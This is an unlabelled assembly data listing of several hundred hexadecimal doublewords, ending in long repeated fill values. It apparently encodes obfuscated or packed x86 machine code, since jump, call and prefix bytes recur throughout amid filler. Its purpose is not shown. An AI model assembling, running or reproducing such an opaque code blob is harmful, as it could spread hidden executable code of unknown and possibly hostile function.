		dd 0BED7B731h, 5870Fh, 81660000h, 615841C7h, 0E2816660h
		dd 7E981B3h, 46000000h,	70A98751h, 5061D82Eh, 0FC3DB866h
		dd 10E95Bh, 0E94D0000h,	0C6F964F7h, 88D4749Dh, 5D5B743Ah
		dd 0C68B93DFh, 0DE9h, 34E13D00h, 0B734361h, 0DC04A963h
		dd 14E9D375h, 82000000h, 0B3493F85h, 0BAAD9F86h, 8FD57D95h
		dd 0A6D3BD58h, 577BA58Bh, 5EE4C380h, 6301BB66h,	9E9h, 233A2100h
		dd 98CF0631h, 0B70F5594h, 10860FDFh, 0E9000000h, 0Bh, 4E175D23h
		dd 0BBA11561h, 668876EDh, 10E9FE8Bh, 2A000000h,	48C963EBh
		dd 0C915D9E1h, 0C89F3B3Ah, 0E98E64B6h, 0Dh, 0BD1157AEh
		dd 97264592h, 0DCD765FEh, 0CAF2819Eh, 0F3FB470h, 38Dh
		dd 0D78B6600h, 0F5F18B66h, 99BCF2BFh, 68B96601h, 5E875h
		dd 75850000h, 0F94E0502h, 810FF559h, 3,	0E9D38B66h, 11h
		dd 0F4C6EED0h, 0FBAE64D6h, 0D2035939h, 0D5F975E2h, 12E823h
		dd 7FFD0000h, 4016FE56h, 36EA7E20h, 604EB487h, 612EEBE7h
		dd 346CBF66h, 0C88B665Eh, 2870Fh, 0C78B0000h, 5E8h, 59BF3700h
		dd 6657E359h, 5E6F3EBEh, 0EE28058h, 66D68BFCh, 0B150FB8Bh
		dd 0AE959EEh, 4C000000h, 174B70ACh, 0F1CB8BBCh,	58F0F90h
		dd 66000000h, 552DD181h, 29BF95B3h, 0F9378F09h,	0DF81DEB2h
		dd 796EA866h, 3850Fh, 0F1800000h, 0D810FB3h, 0E9000000h
		dd 8, 44F408Bh,	0EA9DDAAh, 82CF8166h, 68C681B7h, 0F82189D3h
		dd 10E9h, 0A2C39B00h, 0C7D1E415h, 0D253A88Eh, 0F551492h
		dd 0B9D08BABh, 35C40C29h, 9E9h,	0E12F1700h, 0C5DC3476h
		dd 66F86972h, 60916CB9h, 0F8B70FF5h, 6097B461h,	6E9h, 0E6304200h
		dd 66870FE1h, 8DAAC081h, 0C3BF0F61h, 6658F853h,	24BAC68Bh
		dd 0E95F1EB4h, 0Ch, 8CE43A18h, 70318574h, 2ACB0E86h, 0F2C08166h
		dd 0C9816603h, 14E934DAh, 65000000h, 53EE074Eh,	0E8FFD898h
		dd 723B6FC2h, 576B54CFh, 0FDD47C4h, 148Ch, 0BE800h, 42DF0000h
		dd 0E9313C3Eh, 1A7075E3h, 0D38B66B8h, 0B70F6059h, 0CA8B66C6h
		dd 8E961h, 5100000h, 0E8BE6954h, 0AE88E9Bh, 4C000000h
		dd 4663320Ch, 0E42EC420h, 0E4EC8030h, 0B0D98A5Bh, 18F0F8Ah
		dd 0FC000000h, 3B39EF81h, 0FE81BD5h, 0D8000000h, 68CD2151h
		dd 50BC0EB1h, 262E56EFh, 66609ACAh, 8A1397BAh
		dd 0B95E61C3h, 71FC874Ch, 6056D78Bh, 0EE9h, 0F9955E00h
		dd 827BB7B5h, 0CE7F25A9h, 0E8178BE8h, 0Bh, 0FE82245h, 0A3B4EA04h
		dd 5F143BF9h, 66575B61h, 0F5ADA8Bh, 588h, 728BBE00h, 0D8B7252Ah
		dd 0FCD1B70Fh, 0FD2BF0Fh, 183h,	5FB4F500h, 3ADE981h, 0D58A2B5Eh
		dd 0B31A9EBAh, 880F576Ah, 2, 0E95BC4B5h, 0Ch, 9952ED7h
		dd 5F5BCE70h, 0DA4E0E33h, 0D281F88Ah, 271B9481h, 0E989DF80h
		dd 5, 0C5355933h, 9E9B1h, 0E13B0000h, 0AC177BCAh, 0BE607B0Dh
		dd 373B6738h, 0F5695B7h, 282h, 58D38B00h, 0AE9h, 0DA8DBA00h
		dd 27D97379h, 0B373C204h, 0DF8051ADh, 0B70F5EFFh, 0FE9CEh
		dd 54160000h, 0F2DA7CE0h, 2E132B47h, 0DB8E98F9h, 0E7A8B9CCh
		dd 0CFBB0F47h, 0BB76F917h, 7575BB11h, 0CA45E381h, 0BA664D44h
		dd 0CF81EDD1h, 0A07FB51h, 6716F081h, 0BF0F1587h, 956BEF6h
		dd 8B66238Bh, 75D480C2h, 0F4AB6CB9h, 0E960B011h, 0Ch, 97DACB5Eh
		dd 7CAEDF02h, 2F2599E8h, 1E72ABB8h, 0E8F48A6Ah,	0Ch, 68B08280h
		dd 0F7B282BAh, 50423107h, 13E858F8h, 0B7000000h, 4F42D66Ah
		dd 7F8448F6h, 0E39B6D7h, 0F3CFE7B4h, 0DE913A5h,	0F6000000h
		dd 0CD298D23h, 0CD3D6C60h, 0E0D863ACh, 57A4B959h, 8B666530h
		dd 12E9F7h, 0DF810000h,	1684F197h, 4F7EFFBEh, 0CFEB56D2h
		dd 38E895B7h, 5FD38B56h, 0EE960h, 0B5D00000h, 0AB969D48h
		dd 0CFCC3466h, 0E2BC208Eh, 81666061h, 0BF3C78E3h, 2CAD0B31h
		dd 34B86661h, 0E8BBB205h, 12h, 4B94C68Eh, 0EB779D1Bh, 6119CE9Eh
		dd 8ED385EEh, 0BA662D1Ch, 665B16D6h, 0BE8F98Bh,	0D2000000h
		dd 0CF0227F7h, 0C10C1164h, 0F53B7C0h, 8Eh, 815B5800h, 679E24D0h
		dd 41D28155h, 0B21CFEB3h, 0F68166C5h, 8CB922C3h, 6061C0E9h
		dd 830FFB8Bh, 6, 8B0Fh,	0F610000h, 680h, 36F18100h, 0E838E704h
		dd 0Dh,	0DDF60AF8h, 246D881Dh, 9B3656A7h, 2850F0Ch, 50000000h
		dd 0BF0F5E5Bh, 0E85151CBh, 11h,	0EF1687B8h, 47C55B7Ch
		dd 8EFF8EB4h, 71026990h, 5A585E5Fh, 0DA8BF38Bh,	5E8h, 0DECF1C00h
		dd 77BF97E1h, 5B6D74A3h, 13E9h,	42B90300h, 5F89C888h, 0EE061E51h
		dd 0EB0F955Ch, 28CD61D6h, 39F2E681h, 8BF87832h,	118F0FF1h
		dd 0E9000000h, 0Ch, 0A6D9C003h,	31F21421h, 9A29E047h, 6E9EDB3h
		dd 0CD000000h, 0B9FCD4C8h, 66FD8A55h, 6784D281h, 0C554CEBBh
		dd 0A2F78012h, 0F6F68166h, 7AD981F5h, 8B1DBA26h, 42DB80DFh
		dd 0B8A0Fh, 8F0F0000h, 5, 97DB8166h, 0FBBF0FEBh, 6E8h
		dd 8D6F4400h, 813036BDh, 4FBDC5D8h, 0C8815811h,	6D5A43F0h
		dd 66D88B66h, 0F85360B9h, 2820Fh, 0CE8B0000h, 0BE9h, 0DF6E3900h
		dd 1851F13Ah, 5795B444h, 0FF4EE081h, 0FE86A4Bh,	45000000h
		dd 472C0AAEh, 9AC935B5h, 29B83E26h, 0BF0F7F82h,	0DA805EF6h
		dd 81F38B10h, 834830D0h, 11E81Bh, 64E00000h, 0AD1E8600h
		dd 0F7FB0CC3h, 0C87D4656h, 811B5AE4h, 0DF452EC9h, 8B665B0Ah
		dd 5CC680D7h, 8AF78166h, 76BAF960h, 66329B2Eh, 4574F281h
		dd 0C51565BAh, 14E829h,	579B0000h, 12E2B1F4h, 8C395415h
		dd 23CAB93Bh, 0AFE47B01h, 830FA905h, 4,	0D12B966h, 0D78B665Eh
		dd 0BE9h, 2A8C7200h, 0DD695566h, 0E8B6F4E6h, 0EE9h, 0C674F700h
		dd 0FD14BAA2h, 1FB789D0h, 8B299787h, 0E9FA8BD7h, 14h, 2A726C9Fh
		dd 86F04F6Ch, 2F6398Eh,	7C7F23C8h, 0D906A34Bh, 66D68166h
		dd 4A79BEFCh, 0BF0F0812h, 12E8F7h, 53060000h, 93032870h
		dd 1A1B3274h, 81A04771h, 0AC7FD364h, 5AE9EC80h,	0E358BEF8h
		dd 0DE90E00h, 15000000h, 43FD1972h, 838803EFh, 0C74355E0h
		dd 59EF281h, 0E8601493h, 14h, 0EE603FA6h, 61BD4696h, 15AD506Ah
		dd 6D446F45h, 43A3F628h, 665A6160h, 6661C78Bh, 2DBBD38Bh
		dd 526DCF89h, 0F5BE78Ah, 28Ah, 0FFB8B00h, 586h,	8CA9B800h
		dd 13E80CAEh, 8A000000h, 3D509AABh, 319BC149h, 0B224728Eh
		dd 4D2ABD19h, 0B9665A32h, 0E95A46E1h, 6, 0FD91750Ah, 0B70F850Bh
		dd 4890FF1h, 53000000h,	8A5FC68Bh, 0D840FFDh, 60000000h
		dd 8C0Fh, 41B80000h, 6179392Ch,	0FD3B70Fh, 8B66F3BFh, 0AE8D0h
		dd 297C0000h, 7D92055Eh, 4EE7E3Ch, 28690BBFh, 0FB8B5A3Ah
		dd 810Fh, 0BF0F0000h, 0CBB66D8h, 0C2816632h, 8D0F7132h
		dd 0
		dd 0DE9h, 1B0AA700h, 0A195F6B2h, 0FECFBC3Bh, 5E94A6Dh
		dd 3E000000h, 7B966D32h, 0A60F9BBBh, 0D280F821h, 14890FABh
		dd 0E9000000h, 0Fh, 0A5EC56FDh,	69EBA836h, 0CE72B1Bh, 8153BCFFh
		dd 0D4FF49CFh, 5BD18110h, 80655227h, 8166AED1h,	0E84463CFh
		dd 11h,	18154EE3h, 66D839C8h, 6421D6ABh, 0DBAFDA73h, 0B70F5B3Fh
		dd 11E9C0h, 99E0000h, 9409110Bh, 326BF194h, 0E7D04F8h
		dd 80267230h, 0D38B33D7h, 0FE9h, 0B68BB900h, 0A2A10AD5h
		dd 3D2E8F7Bh, 0A0A99707h, 6E8h,	0EC454000h, 6694E482h
		dd 5F1D69BBh, 12E9h, 9AD12100h,	0F5DFAF9Eh, 0EFC57325h
		dd 0ABEFB35h, 0BE3C43DCh, 41758465h, 7E9h, 9D164500h, 83660004h
		dd 98D4BF66h, 8B66D88Bh, 6CB866C6h, 11E95Dh, 45600000h
		dd 90A78ECCh, 87386E48h, 0A7FF3D96h, 660DFDCBh,	66A799BFh
		dd 0E99AF8BFh, 6, 5C7778CDh, 8B666C8Ch,	1C8F0FD0h, 60000000h
		dd 23EBBF66h, 10E8h, 2A193900h,	0D2D476C1h, 3D1515BDh
		dd 9A45BE3Ch, 0E9615BAAh, 6, 0A3F2BEB3h, 0CE80E09Fh, 0A9B4B9E3h
		dd 0CE91813h, 3000000h,	0E9261FD0h, 0B335171Ah,	0BF38B032h
		dd 33051BFFh, 5830Fh, 8EBF0000h, 0E9484996h, 0Bh, 707B7D4Bh
		dd 4B6BB8E0h, 0E92BD1C0h, 0Bh, 13AE6C9Bh, 1E889823h, 0F1066BFh
		dd 88h,	0EB816600h, 0D08B6E61h,	0B70F51F8h, 0E96058D9h
		dd 6, 0A03EDEC2h, 1BBFC71Eh, 6145E48Dh,	6870F60h, 0F000000h
		dd 82h,	7EE38100h, 612C5A92h, 7BECC781h, 0F601467h, 0E950DBB7h
		dd 0Eh,	0FC86FE46h, 80C6F273h, 0C9CCCEDBh, 615B5B43h, 58F0Fh
		dd 80600000h, 606131E7h, 61E9B0F9h, 0FC9B70Fh, 38Bh, 0D0BF0F00h
		dd 16F362BEh, 76EB810Dh, 8176D886h, 3C2C8EE3h, 8E877h
		dd 53EF0000h, 1075830Bh, 0DE90527h, 0AA000000h,	0E47D0A39h
		dd 0A8B22DB9h, 0F0F4D807h, 5EFC5159h, 4D9E881h,	0AE8490Eh
		dd 0F8000000h, 71DA5571h, 3457DB07h, 0E85FF9CFh, 12h, 577F0442h
		dd 2BF0EAE8h, 2253385Ah, 99D39EB6h, 8B607F6Eh, 453DBAF7h
		dd 5E614D7Eh, 8BB96660h, 0BE8B6h, 28020000h, 0E46D4825h
		dd 93F72E69h, 0A0DBE88h, 615A5EBAh, 0E281A5B2h,	59BF9B5h
		dd 0FCF8B66h, 586h, 7045B900h, 0DE92530h, 90000000h, 1A5A3D13h
		dd 71F15A1Ah, 1F510EECh, 38E0Fh, 0DF800000h, 3890FECh
		dd 66000000h, 8C0FD88Bh, 0
		dd 21B866F8h, 0B5D180D8h, 0F2A131BFh, 80D78159h, 6673E0B5h
		dd 4CB3D181h, 8BDFBF0Fh, 0D381F8F0h, 7C462438h,	0BEF1B70Fh
		dd 5B91EC4Fh, 53C28B60h, 810Fh,	615E0000h, 6E9h, 3C6DD000h
		dd 0F30F84Eh, 0DC8ACFB7h, 1E830Fh, 890F0000h, 18h, 13E9h
		dd 25099000h, 0B655251Fh, 0BEB907AFh, 3AEDF738h, 662D25E7h
		dd 8E0Fh, 0AE90000h, 75000000h,	6BB49232h, 0C1CC46F7h
		dd 8BCF8B80h, 0FBBF0FDAh, 0E5EABE66h, 6683E380h, 0D580F78Bh
		dd 0BB666023h, 0F88B7E0Eh, 5BD88061h, 0C2E08166h, 0FBD48029h
		dd 10E9h, 0B64C1700h, 5B31BE10h, 944578h, 0C6B30956h, 38F0FA7h
		dd 80000000h, 8E9B6E4h,	2D000000h, 209F7F4h, 8187F5D1h
		dd 0B0BF94EBh, 7E912h, 0E4BA0000h, 1AB5AA0Ch, 8B66500Bh
		dd 0E9F55EDFh, 14h, 47190CC9h, 82C0558h, 0F2633E73h, 0DAD2CB56h
		dd 0E86D0468h, 0F38B51F9h, 38F0F5Ah, 0F000000h,	6657D2BFh
		dd 58BA1DB8h, 0E9F6B70Fh, 0Bh, 73040624h, 0A21847Ah, 0E8FD9175h
		dd 0Ch,	8A2C1F16h, 6EAC22A1h, 905287B4h, 0BF0FF960h, 575B61D9h
		dd 0F3BF0F5Fh, 13E8h, 3A4CDB00h, 0FAA5A820h, 8F6C6AB5h
		dd 9601C489h, 5EB8BDC7h, 5AF9BF0Fh, 0CFDA8166h,	11E181DDh
		dd 667169C0h, 55AEA81h,	0FDF8B66h, 0B452FAB7h, 820F5A15h
		dd 3, 0E8EEE580h, 0Bh, 1930BB0Eh, 7C8CCCA3h, 0E9997AC6h
		dd 11h,	0B7225A35h, 0FCA6EA0Eh,	6F4DE913h, 5C6DF03Ch, 870F5942h
		dd 2, 0BA66DE8Ah, 0BE660D1Fh, 8B662B6Ah, 16DF81D9h, 516567A1h
		dd 0B9E28053h, 8E0F5F58h, 6, 0EDC2E281h, 81603DD8h, 0D32B99F2h
		dd 0D870F1Eh, 0E8000000h, 7, 367B4BB4h,	5AAB3B36h, 0BE961h
		dd 9B800000h, 3BD7AAE6h, 6B7FA85Ah, 0BE910h, 9DC70000h
		dd 0D0DAAA8Bh, 6344252Ch, 18F0FF0h, 0F5000000h,	11E9h
		dd 0E1706200h, 44F57C71h, 0FEB8DD33h, 0F74B9000h, 0E96027A6h
		dd 0Ch,	279A807Fh, 0DB3D1A8Fh, 32353495h, 0B4C0B761h, 810F22h
		dd 0E9000000h, 7, 98BBF630h, 0F9BCEB0h,	0B8B0F0B7h, 6A6AC781h
		dd 0D0812C98h, 5AA959AFh, 0BF0F6060h, 666061CFh, 2685F681h
		dd 631946B9h, 6661613Eh, 0BA6CDB81h, 16870Fh, 0FE80000h
		dd 92000000h, 0B8E1995Ch, 4707EDF2h, 9A45EE6h, 5AF95BC1h
		dd 5AD68B56h, 0DB81F88Bh, 0CD79AD6h, 8E9FE8Bh, 91000000h
		dd 3B1E2C13h, 0E8F4D1F3h, 0Dh, 8FFD2DF2h, 0B06746F0h, 0BED227C7h
		dd 8D0F5B83h, 14h, 8E8h, 0E6CDFF00h, 4E102624h,	890F44h
		dd 58000000h, 35D38166h, 1FBE665Ch, 0DBB70FEEh,	0EE8h
		dd 2D620300h, 3D168EDh,	9D8BBE8Ah, 0E9FB5EE7h, 7, 958193BEh
		dd 5BBAFE12h, 12E951h, 0F7240000h, 0C3134EB9h, 513389Ah
		dd 77FE1935h, 2C819812h, 0ECB1BE5Fh, 0FF84268h,	38Bh, 0FEB70F00h
		dd 0C5C68166h, 0B70F5787h, 0B70F59CFh, 5840FC3h, 66000000h
		dd 0EAFCC881h, 27864EBAh, 0F60603Eh, 8Ch, 0DE96100h, 0C9000000h
		dd 37E57777h, 6A38DBDAh, 4F9DE351h, 6880F61h, 81000000h
		dd 0C98D87C0h, 0B966535Dh, 0E9591ED1h, 0Eh, 661E310Bh
		dd 91AE9AC1h, 3C5A67C0h, 0DE810B0Dh, 29832D9Bh,	0BF715DBAh
		dd 0D2EB8155h, 0F91ACCFFh, 8C0FD88Ah, 5, 0A41AB2BBh, 0BE902h
		dd 4F6A0000h, 0EDA4720Eh, 23846C79h, 0E95AB19Bh, 0Ch, 0D1AC5BC5h
		dd 0D3A6EBFFh, 983BF21h, 18B0Fh, 0FF90000h, 381h, 0CBB70F00h
		dd 6E9h, 0E6218800h, 818D3B80h,	11165DF0h, 0F3816678h
		dd 0B70F9100h, 11E9FFh,	41FC0000h, 27F86B07h, 1B71863Dh
		dd 0DD39B753h, 0F848A7B6h, 10810Fh, 8E80000h, 1B000000h
		dd 24F01DD5h, 60B65FB8h, 0B9525F61h, 7D178358h,	0BF0F535Bh
		dd 8B0F5AF0h, 0Fh, 0AE9h, 53321C00h, 6C210EFCh,	0F525D20Ch
		dd 38B0Fh, 8B660000h, 3880FD7h,	80000000h, 0EE848C5h, 34000000h
		dd 1A112A49h, 82D79BAFh, 6A44E66Dh, 0BE85125h, 0FE000000h
		dd 0D3B304C6h, 258EBADCh, 5B58295Eh, 0B1F6815Eh, 816376DDh
		dd 3B9977CFh, 0EE973h, 7D540000h, 7AFB315Eh, 0B1ADB47Ch
		dd 0D0EDC5D9h, 0AE8h, 37003B00h, 0BF977D0Fh, 81872E79h
		dd 4C2E2BCBh, 5E8586Fh,	0B4000000h, 15E0DE1h, 815EEB8Ah
		dd 0BF09DCC8h, 0EE962h,	0FB1B0000h, 0F17B5C14h,	71FE0BA0h
		dd 0C4614F63h, 66F87DB7h, 2D4FD281h, 0E8CF8B66h, 14h, 8FD489FFh
		dd 64068461h, 9ABBE8DEh, 1850440h, 54ED345h, 276F67BAh
		dd 2DBF5B48h, 660A7B4Fh, 0E848CCBFh, 14h, 0D68A92Fh, 2EBDB55Fh
		dd 70AA7903h, 0FA40F039h, 753DA402h, 0BE8h, 5DDF4700h
		dd 970D107Bh, 0DE3CDD0Fh, 9A38F081h, 5B5F19FAh,	666EC180h
		dd 0F0CEE881h, 0BE9FCh,	0A8690000h, 0B29A3A4h, 0C93DD0F1h
		dd 0E8DA8B92h, 11h, 4FA7035Ch, 0CCA67A85h, 69C78221h, 8BE0191Fh
		dd 5B73B18Fh, 0E9F28B66h, 8, 7388D31Fh,	9A1BB2BEh, 880FD3B6h
		dd 3, 66D3C580h, 901ED381h, 0C68A4BB6h,	0FDEBF0Fh, 588h
		dd 0C6816600h, 8B66FF58h, 0D58050CFh, 0C9815FC3h, 6037C95Dh
		dd 8162D880h, 375E07F0h, 0EA81665Fh, 0AE956BBh,	7C000000h
		dd 132C7669h, 59725559h, 2800F56h, 0B4000000h, 8A0F5090h
		dd 6, 890Fh, 0E95E0000h, 9, 0C0FD84D6h,	2B4D6D13h, 0AB77BB21h
		dd 0D08125D1h, 3185C35Fh, 0E9C38B66h, 8, 0E6A64452h, 9342B20Fh
		dd 12E957h, 0ED10000h, 0E9ADDC9Ch, 13793A17h, 0E849B274h
		dd 0ED4827Ch, 78A0F59h,	60000000h, 0EF80FA8Bh, 0C18B619Eh
		dd 1A8A0Fh, 0E9600000h,	10h, 6292881Ch,	33D49D66h, 17E15EEDh
		dd 0F5D794C2h, 61CEB70Fh, 2062BB66h, 0F88B29B1h, 666FF680h
		dd 0B7DAD981h, 8AF5CA8Ah, 11E8D9h, 0AF3C0000h, 0BB7AD82Dh
		dd 2302730Ch, 0F796F139h, 0E9E6F70Bh, 0Ch, 219A183h, 3D88CD41h
		dd 4198D2F1h, 0C8B70F58h, 0E95AF956h, 0Ch, 0EB5FC3C6h
		dd 10067846h, 68A1506Eh, 0B804CBAh, 0B45E5641h,	6656FC4Fh
		dd 8A5FC28Bh, 0EC94BBEAh, 10E92DC5h, 6D000000h,	0BF54C3B5h
		dd 0AD58DF9Ch, 181CEB4Dh, 81F3A229h, 0C9BF3ED0h, 8A4EB224h
		dd 14E8CFh, 0F8A40000h,	0EFAB8536h, 551348FBh, 171B7534h
		dd 0BE10B64Ch, 5BFC5B31h, 884FBE66h, 4820F51h, 66000000h
		dd 585F28B8h, 27CDC281h, 0E9801A2Eh, 0F081669Dh, 41BA5745h
		dd 80763FE1h, 81665AE4h, 8B332BF1h, 0FD38BDEh, 0CB80C2BFh
		dd 665F53BEh, 0E781C38Bh, 67A74339h, 5457CE81h,	0B70F3D85h
		dd 11870FF8h, 0E9000000h, 0Ch, 0C72D6C70h, 3106CBDAh, 0F2923833h
		dd 0FFE8B66h, 582h, 0E847BE00h,	0E3811AD8h, 224430EAh
		dd 12E9h, 1014AF00h, 610F6BCCh,	404E5404h, 5FB6C5A8h, 804793E4h
		dd 5E9E8D0h, 85000000h,	59051F45h, 66F98B66h, 870FD18Bh
		dd 4, 4FFBE66h,	4D2DC181h, 850F3ABEh, 3, 66FEB70Fh, 0F9A0ABBEh
		dd 0AE8h, 97A71B00h, 0C301DB49h, 5886EF00h, 6DA9E3BBh
		dd 0CFE28131h, 0F55BD9DFh, 2B84D281h, 0C6811B35h, 3F77D951h
		dd 0E95EFC57h, 0Ch, 0AF6B1A0h, 0AD213184h, 32F4825Ch
		dd 61E8DFB9h, 0B9666018h, 8B668065h, 816661F0h,	0B0B03EDEh
		dd 0A511BA00h, 0D98B58DAh, 0E9CBD380h, 8, 24A24008h, 0DA7DB862h
		dd 8A25E580h, 12870FE5h, 0E9000000h, 0Dh, 0FB2EA594h, 36FD0AB9h
		dd 0C9535570h, 660BA58h, 8E0F0D61h, 0Eh, 0CCD18160h, 0F0897B8h
		dd 8Dh,	0C4806100h, 11E913h, 462A0000h,	6EBA3CD9h, 0B5B91CDAh
		dd 13FA1377h, 60CBCFCFh, 0E9F3B70Fh, 13h, 0CFF130E3h, 12217CDDh
		dd 5D4C5492h, 0DE46E9DAh, 61F72CDAh, 12E951h, 12230000h
		dd 6DF7B80Ch, 33BF1149h, 87B0A7EEh, 0C3A61B5Eh,	4810F58h
		dd 66000000h, 60E5BAB8h, 10830FF8h, 0E9000000h,	0Bh, 9A3725F1h
		dd 46642E44h, 616EA8E3h, 9E9h, 25B92C00h, 36A8FB0Fh, 14E9F575h
		dd 0B0000000h, 1660179Fh, 0C7A05DC2h, 0F2CA0ED7h, 105A13D7h
		dd 66795A92h, 0BB37F281h, 3DE88166h, 0EE816610h, 0CB8143D8h
		dd 64EE039Bh, 0F079C381h, 8C0F7EE5h, 3,	0F2AC280h, 0E83h
		dd 9E900h, 0A8D40000h, 115C8A69h, 66CD60B4h, 8166D78Bh
		dd 0F39BCC8h, 8Fh, 0F3B70F00h, 0E9E38AF5h, 8, 0DFD4D92Eh
		dd 0ED3C3A80h, 2875A9BFh, 13E87Ah, 0A9900000h, 2D6FE43Bh
		dd 0BA646298h, 7DA318C6h, 0B6D26F43h, 9AE4BF4Eh, 0F5A7227h
		dd 84h,	0DF816600h, 0C280D76Bh,	66F18B0Dh, 5A30D981h, 8B665957h
		dd 88BA66CAh, 0DE9F9FEh, 58000000h, 0C4D8B71Ch,	560CB026h
		dd 0F2713F3Dh, 1384BE66h, 5820Fh, 81660000h, 0BB72A3CBh
		dd 0E9D7121h, 0AE9h, 0C2535800h, 6EDFC278h, 0E9FCC8E5h
		dd 10h,	4B2A4BA5h, 0C56CA861h, 0F0C11C42h, 0B37E9BB8h
		dd 0E9FAB70Fh, 12h, 9F2B33EAh, 0C394DE38h, 218D0BE5h, 0F06C85B1h
		dd 8166FBBDh, 608E81D9h, 8B66C68Bh, 0BA6661D0h,	8C0F7E5Ch
		dd 3, 6625E280h, 0F91CABEh, 1A8Dh, 12E800h, 0CB440000h
		dd 0C21B7A38h, 309FB3F0h, 0E18B827Dh, 0CD5DD1BAh, 0E9586160h
		dd 0Dh,	1238B3FBh, 5B603283h, 1E30AAB9h, 0D8B70F57h, 0BE8h
		dd 1C28E300h, 2C49DEA7h, 0FD3DDC8Ch, 0F5CB95Eh,	850F61B0h
		dd 0
		dd 8F0Fh, 66530000h, 318BE881h,	0F78B6658h, 7E8C78Bh, 18000000h
		dd 2B911B7Fh, 0D68099F5h, 0E8F55A93h, 7, 7198E207h, 561027F5h
		dd 6E9h, 0B435EE00h, 598D4C24h,	4830F58h, 66000000h, 0E9EFACB9h
		dd 7, 8A392AA1h, 56E9228Ch, 11E9h, 4BB8C000h, 2BBAA35Fh
		dd 0A29F5524h, 7D08E659h, 605EB3EAh, 0E3816160h, 525686E1h
		dd 0F43FB861h, 0E6805F2Dh, 14E908h, 41970000h, 0F36C4E08h
		dd 65676130h, 99F06836h, 91D3D6DDh, 0BB601833h,	6649CEF6h
		dd 520840BAh, 7B96142h,	0F4C9F4Ch, 380h, 0C1F78000h, 3890Fh
		dd 0B70F0000h, 0DF8166CFh, 0BB6657B7h, 0D78BB268h, 0EE9A0B0h
		dd 30000000h, 0F183A7C7h, 0A7C3038h, 0C61DFB42h, 13E9F9h
		dd 0EC870000h, 0DE26BAC4h, 0D27E58BAh, 0D374322Fh, 98FA768Fh
		dd 4DA2B9D9h, 81661DDFh, 8A27EAEFh, 0EA80F8D5h,	17800F0Bh
		dd 60000000h, 0FE9F5h, 18C60000h, 6F437DA3h, 124EB6D2h
		dd 85998849h, 8B666144h, 0E880FCBh, 0E8000000h,	8, 0D8B1AAF0h
		dd 0E3A87EEEh, 0EE8F85Fh, 0F000000h, 36D1450Fh,	32D3C93Ch
		dd 6E55AD90h, 0C6BF0F43h, 0C981665Eh, 8E872DAh,	22000000h
		dd 7D1A4F36h, 8B7CF474h, 81665AD6h, 80C358DFh, 666061CDh
		dd 61576CBEh, 13E952h, 64D90000h, 0E1CA476Bh, 0CD4B164Bh
		dd 0B7E90DFAh, 4B271FFh, 0E2815E6Fh, 3D423C81h,	8E8h, 11904600h
		dd 577A7C80h, 59DA8BBDh, 1F880Fh, 13E80000h, 50000000h
		dd 1E249E21h, 9CB740E3h, 0E8D1FF57h, 0E836E594h, 8E0F99C3h
		dd 0
		dd 48E0F5Fh, 66000000h,	51133ABEh, 5E960h, 75760000h, 0F228935h
		dd 8Dh,	0E85F6100h, 0Ah, 7CCBE80Eh, 0F407C497h,	56B08361h
		dd 12E95Eh, 2BF50000h, 439CA329h, 0E2EDAF7Ch, 0B7B45EB6h
		dd 0DC31B9E0h, 6F70ADBEh, 0F3B70F34h, 0BE9h, 1DAE6E00h
		dd 597BC45Bh, 903A1CEDh, 43E18166h, 0B4DA8136h,	0E9774F0Ch
		dd 11h,	1AF5B288h, 920FC6CBh, 4095DF8Fh, 22A0D269h, 0F8C78B35h
		dd 0BAF5DF8Bh, 5C65F74Dh, 0AE97B866h, 6E9h, 0DA140900h
		dd 0E800499Ah, 0Ch, 6FCBE9E9h, 5D9A96AAh, 0F3601A08h, 0B8C98166h
		dd 66605A55h, 0F081FE8Bh, 27AA442Fh, 56E7B861h,	1B94BBCh
		dd 0E91DAC78h, 14h, 4C77E87Ah, 0D0681616h, 615E6D8Ah, 44C325C5h
		dd 0A7FEC971h, 0CE63B966h, 13EE8166h, 5880FE2h,	66000000h
		dd 6FB6F681h, 0F8F0Fh, 0AE90000h, 0B000000h, 9933C0DDh
		dd 7E2AD40Eh, 7E9CCh, 42F40000h, 5F5A7035h, 56B853B8h
		dd 5E3ECCEBh, 0E080DF8Bh, 0C2BB66A6h, 0EE972h, 0E3240000h
		dd 216A046h, 0B98C77A8h, 0E12B8DC5h, 0F52B6FCh,	0FCF9F9BFh
		dd 8AD3BF0Fh, 0DD081FCh, 60135A73h, 7E9h, 1E094B00h, 8D5399CEh
		dd 1F34F5B8h, 0D0816124h, 270DF658h, 0E9C78B66h, 12h, 53FDA90Ah
		dd 8C97D4D1h, 59D75859h, 514DE381h, 0EF8130DCh,	7D3248E4h
		dd 79CA8166h, 9E996h, 72DB0000h, 0C2B983AFh, 8BA82AD6h
		dd 0E9DCB3F8h, 14h, 9BF0FA9Eh, 339E9636h, 28DD631Fh, 0EC737686h
		dd 3ECB12B0h, 0FCC38B66h, 66FB8B66h, 79FBF181h,	8B0FF18Bh
		dd 6, 800Fh, 81660000h,	53E5D4D1h, 0F5ADD8Ah, 800FC2B7h
		dd 0Ch,	7E9h, 0DD6A8C00h, 4285A7E9h, 0BE960h, 0D96B0000h
		dd 323E60AFh, 537B966Dh, 0F61F997h, 88h, 8E900h, 6E270000h
		dd 8658B2FDh, 0F552D226h, 91D9815Eh, 665E4276h,	78BFC18Bh
		dd 576596C2h, 0CC32BA5Bh, 810F1FADh, 4,	5BF7B756h, 6E9h
		dd 9B973900h, 669B5DBFh, 0F73C3BBh, 58Ah, 0E1816600h, 8166D6A4h
		dd 51E348DFh, 6820Fh, 870F0000h, 0
		dd 0A860F5Eh, 0F000000h, 489h, 6FB96600h, 3850FD0h, 66000000h
		dd 0BA66FB8Bh, 0B4BA2779h, 0F950BB26h, 0BA66D68Bh, 60519002h
		dd 10E9h, 820C3C00h, 126980C4h,	0CB7E636Ah, 9A6503BAh
		dd 5F61F54Ah, 28F0Fh, 0F18B0000h, 0B810Fh, 8D0F0000h, 5
		dd 3E103BAh, 0C3B70F65h, 12E8h,	0E2C83B00h, 0B799EA43h
		dd 0EDCF012Fh, 0E3CBCD02h, 6688D31Fh, 5BA9C0B8h, 81F3BF0Fh
		dd 742005C3h, 8B0F41h, 66000000h, 14E9D88Bh, 8C000000h
		dd 34DED881h, 0E9FC2464h, 0C692E480h, 395096A0h, 5CD1AA90h
		dd 410h	dup(9A579F60h),	0BDB04760h, 0F3h dup(0BDB04792h)
		dd 113F4792h, 0ABF1AB8Bh, 172h dup(0ABF19D09h),	9BD2C309h
		dd 0D9h	dup(9BD2C33Ah),	535h dup(26F4A2D0h), 0CCF4A2D0h
		dd 574h	dup(0CCCCCCCCh)
